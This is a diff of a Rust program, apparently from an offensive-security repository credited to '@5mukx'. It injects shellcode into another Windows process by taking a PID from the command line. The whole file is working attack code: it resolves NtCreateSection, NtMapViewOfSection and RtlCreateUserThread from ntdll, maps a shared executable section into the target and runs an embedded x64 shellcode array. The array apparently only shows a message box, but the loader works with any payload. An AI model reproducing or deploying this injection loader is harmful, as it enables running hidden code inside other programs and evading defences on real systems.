|
| 1 | +/* |
| 2 | + Code Injection Using NtCreateSection + NtMapViewOfSection + RtlCreateUserThread. |
| 3 | + By @5mukx |
| 4 | +*/ |
| 5 | + |
| 6 | +use std::ffi::c_void; |
| 7 | +use std::io::Error; |
| 8 | +use std::process::exit; |
| 9 | +use std::ptr::null_mut; |
| 10 | +use winapi::shared::basetsd::SIZE_T; |
| 11 | +use winapi::shared::minwindef::{DWORD, ULONG}; |
| 12 | +use winapi::shared::ntdef::{LARGE_INTEGER, NTSTATUS}; |
| 13 | +use winapi::um::handleapi::CloseHandle; |
| 14 | +use winapi::um::libloaderapi::{GetModuleHandleA, GetProcAddress}; |
| 15 | +use winapi::um::processthreadsapi::{GetCurrentProcess, OpenProcess}; |
| 16 | +use winapi::um::winnt::{ |
| 17 | + HANDLE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE, PROCESS_ALL_ACCESS, |
| 18 | + SEC_COMMIT, |
| 19 | +}; |
| 20 | + |
| 21 | +#[repr(C)] |
| 22 | +#[allow(non_snake_case)] |
| 23 | +struct UNICODESTRING { |
| 24 | + Length: u16, |
| 25 | + MaximumLength: u16, |
| 26 | + Buffer: *mut u16, |
| 27 | +} |
| 28 | + |
| 29 | +#[repr(C)] |
| 30 | +#[allow(non_snake_case)] |
| 31 | +struct OBJECTATTRIBUTES { |
| 32 | + Length: ULONG, |
| 33 | + RootDirectory: HANDLE, |
| 34 | + ObjectName: *mut UNICODESTRING, |
| 35 | + Attributes: ULONG, |
| 36 | + SecurityDescriptor: *mut c_void, |
| 37 | + SecurityQualityOfService: *mut c_void, |
| 38 | +} |
| 39 | + |
| 40 | +type MyNtCreateSection = unsafe extern "system" fn( |
| 41 | + section_handle: *mut HANDLE, |
| 42 | + desired_access: ULONG, |
| 43 | + object_attributes: *mut OBJECTATTRIBUTES, /*OBJECT_ATTRIBUTES*/ |
| 44 | + maximum_size: *mut LARGE_INTEGER, |
| 45 | + page_attributes: ULONG, |
| 46 | + section_attributes: ULONG, |
| 47 | + file_handle: HANDLE, |
| 48 | +) -> NTSTATUS; |
| 49 | + |
| 50 | +type MyNtMapViewOfSection = unsafe extern "system" fn( |
| 51 | + section_handle: HANDLE, |
| 52 | + process_handle: HANDLE, |
| 53 | + base_address: *mut *mut c_void, |
| 54 | + zero_bits: usize, |
| 55 | + commit_size: SIZE_T, |
| 56 | + section_offset: *mut LARGE_INTEGER, |
| 57 | + view_size: *mut SIZE_T, |
| 58 | + inherit_disposition: DWORD, |
| 59 | + allocation_type: ULONG, |
| 60 | + win32_protect: ULONG, |
| 61 | +) -> NTSTATUS; |
| 62 | + |
| 63 | +type MyRtlCreateUserThread = unsafe extern "system" fn( |
| 64 | + process_handle: HANDLE, |
| 65 | + security_descriptor: *mut c_void, |
| 66 | + create_suspended: bool, |
| 67 | + stack_zero_bits: ULONG, |
| 68 | + stack_reserved: *mut ULONG, |
| 69 | + stack_commit: *mut ULONG, |
| 70 | + start_address: *mut c_void, |
| 71 | + start_parameter: *mut c_void, |
| 72 | + thread_handle: *mut HANDLE, |
| 73 | + client_id: *mut CLIENTID, |
| 74 | +) -> NTSTATUS; |
| 75 | + |
| 76 | +#[repr(C)] |
| 77 | +#[allow(non_snake_case)] |
| 78 | +struct CLIENTID { |
| 79 | + UniqueProcess: *mut c_void, |
| 80 | + UniqueThread: *mut c_void, |
| 81 | +} |
| 82 | + |
| 83 | +fn main() { |
| 84 | + let args: Vec<String> = std::env::args().collect(); |
| 85 | + |
| 86 | + if args.len() != 2 { |
| 87 | + println!("Usage: process.exe <PID>"); |
| 88 | + exit(1); |
| 89 | + } |
| 90 | + |
| 91 | + let target_pid = args[1].parse::<u32>().expect("Enter Valid PID"); |
| 92 | + |
| 93 | + let shellcode: [u8; 328] = [ |
| 94 | + 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00, 0x00, 0x41, 0x51, |
| 95 | + 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, |
| 96 | + 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, |
| 97 | + 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, |
| 98 | + 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, |
| 99 | + 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, |
| 100 | + 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, |
| 101 | + 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e, |
| 102 | + 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, |
| 103 | + 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, |
| 104 | + 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, |
| 105 | + 0x66, 0x3e, 0x41, 0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e, |
| 106 | + 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, |
| 107 | + 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, |
| 108 | + 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x3e, 0x48, 0x8d, |
| 109 | + 0x8d, 0x30, 0x01, 0x00, 0x00, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x49, 0xc7, |
| 110 | + 0xc1, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x48, 0x8d, 0x95, 0x0e, 0x01, 0x00, 0x00, 0x3e, 0x4c, |
| 111 | + 0x8d, 0x85, 0x24, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x07, |
| 112 | + 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x65, |
| 113 | + 0x79, 0x20, 0x6d, 0x61, 0x6e, 0x2e, 0x20, 0x49, 0x74, 0x73, 0x20, 0x6d, 0x65, 0x20, 0x53, |
| 114 | + 0x6d, 0x75, 0x6b, 0x78, 0x00, 0x6b, 0x6e, 0x6f, 0x63, 0x6b, 0x2d, 0x6b, 0x6e, 0x6f, 0x63, |
| 115 | + 0x6b, 0x00, 0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2e, 0x64, 0x6c, 0x6c, 0x00, |
| 116 | + ]; |
| 117 | + |
| 118 | + unsafe { |
| 119 | + let h_ntdll = GetModuleHandleA(b"ntdll.dll\0".as_ptr() as *const i8); |
| 120 | + if h_ntdll.is_null() { |
| 121 | + eprintln!("Failed to load ntdll.dll: {:?}", Error::last_os_error()); |
| 122 | + exit(1); |
| 123 | + } |
| 124 | + |
| 125 | + let nt_create_section: MyNtCreateSection = std::mem::transmute(GetProcAddress( |
| 126 | + h_ntdll, |
| 127 | + b"NtCreateSection\0".as_ptr() as *const i8, |
| 128 | + )); |
| 129 | + let nt_map_view_of_section: MyNtMapViewOfSection = std::mem::transmute(GetProcAddress( |
| 130 | + h_ntdll, |
| 131 | + b"NtMapViewOfSection\0".as_ptr() as *const i8, |
| 132 | + )); |
| 133 | + let rtl_create_user_thread: MyRtlCreateUserThread = std::mem::transmute(GetProcAddress( |
| 134 | + h_ntdll, |
| 135 | + b"RtlCreateUserThread\0".as_ptr() as *const i8, |
| 136 | + )); |
| 137 | + |
| 138 | + // section creation setup |
| 139 | + let mut section_handle: HANDLE = null_mut(); |
| 140 | + |
| 141 | + let mut section_size: LARGE_INTEGER = std::mem::zeroed(); |
| 142 | + *section_size.QuadPart_mut() = 4096 as i64; |
| 143 | + |
| 144 | + let desired_access = winapi::um::winnt::SECTION_MAP_READ |
| 145 | + | winapi::um::winnt::SECTION_MAP_WRITE |
| 146 | + | winapi::um::winnt::SECTION_MAP_EXECUTE; |
| 147 | + |
| 148 | + let status = nt_create_section( |
| 149 | + &mut section_handle, |
| 150 | + desired_access, |
| 151 | + null_mut(), |
| 152 | + §ion_size as *const _ as *mut LARGE_INTEGER, |
| 153 | + PAGE_EXECUTE_READWRITE, |
| 154 | + SEC_COMMIT, |
| 155 | + null_mut(), |
| 156 | + ); |
| 157 | + |
| 158 | + if status < 0 { |
| 159 | + eprintln!("[-] NtCreateSection failed with status: {:X}", status); |
| 160 | + exit(1); |
| 161 | + } |
| 162 | + |
| 163 | + let mut local_section_address: *mut c_void = null_mut(); |
| 164 | + let mut view_size = 4096; |
| 165 | + |
| 166 | + let status = nt_map_view_of_section( |
| 167 | + section_handle, |
| 168 | + GetCurrentProcess(), |
| 169 | + &mut local_section_address, |
| 170 | + 0, |
| 171 | + 0, |
| 172 | + null_mut(), |
| 173 | + &mut view_size, |
| 174 | + 2, |
| 175 | + 0, |
| 176 | + PAGE_READWRITE, |
| 177 | + ); |
| 178 | + |
| 179 | + if status < 0 { |
| 180 | + eprintln!( |
| 181 | + "NtMapViewOfSection (local) failed with status: {:X}", |
| 182 | + status |
| 183 | + ); |
| 184 | + exit(1); |
| 185 | + } |
| 186 | + |
| 187 | + // create a view of the section in the target process |
| 188 | + let target_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, target_pid); |
| 189 | + if target_handle.is_null() { |
| 190 | + eprintln!("OpenProcess failed: {:?}", Error::last_os_error()); |
| 191 | + exit(1); |
| 192 | + } |
| 193 | + |
| 194 | + let mut remote_section_address: *mut c_void = null_mut(); |
| 195 | + let status = nt_map_view_of_section( |
| 196 | + section_handle, |
| 197 | + target_handle, |
| 198 | + &mut remote_section_address, |
| 199 | + 0, |
| 200 | + 0, |
| 201 | + null_mut(), |
| 202 | + &mut view_size, |
| 203 | + 2, |
| 204 | + 0, |
| 205 | + PAGE_EXECUTE_READ, |
| 206 | + ); |
| 207 | + if status < 0 { |
| 208 | + eprintln!( |
| 209 | + "NtMapViewOfSection (remote) failed with status: {:X}", |
| 210 | + status |
| 211 | + ); |
| 212 | + CloseHandle(target_handle); |
| 213 | + exit(1); |
| 214 | + } |
| 215 | + |
| 216 | + std::ptr::copy_nonoverlapping( |
| 217 | + shellcode.as_ptr(), |
| 218 | + local_section_address as *mut u8, |
| 219 | + shellcode.len(), |
| 220 | + ); |
| 221 | + |
| 222 | + let mut target_thread_handle: HANDLE = null_mut(); |
| 223 | + let status = rtl_create_user_thread( |
| 224 | + target_handle, |
| 225 | + null_mut(), |
| 226 | + false, |
| 227 | + 0, |
| 228 | + null_mut(), |
| 229 | + null_mut(), |
| 230 | + remote_section_address, |
| 231 | + null_mut(), |
| 232 | + &mut target_thread_handle, |
| 233 | + null_mut(), |
| 234 | + ); |
| 235 | + if status < 0 { |
| 236 | + eprintln!("RtlCreateUserThread failed with status: {:X}", status); |
| 237 | + } |
| 238 | + |
| 239 | + CloseHandle(target_handle); |
| 240 | + if !target_thread_handle.is_null() { |
| 241 | + CloseHandle(target_thread_handle); |
| 242 | + } |
| 243 | + } |
| 244 | +} |
0 commit comments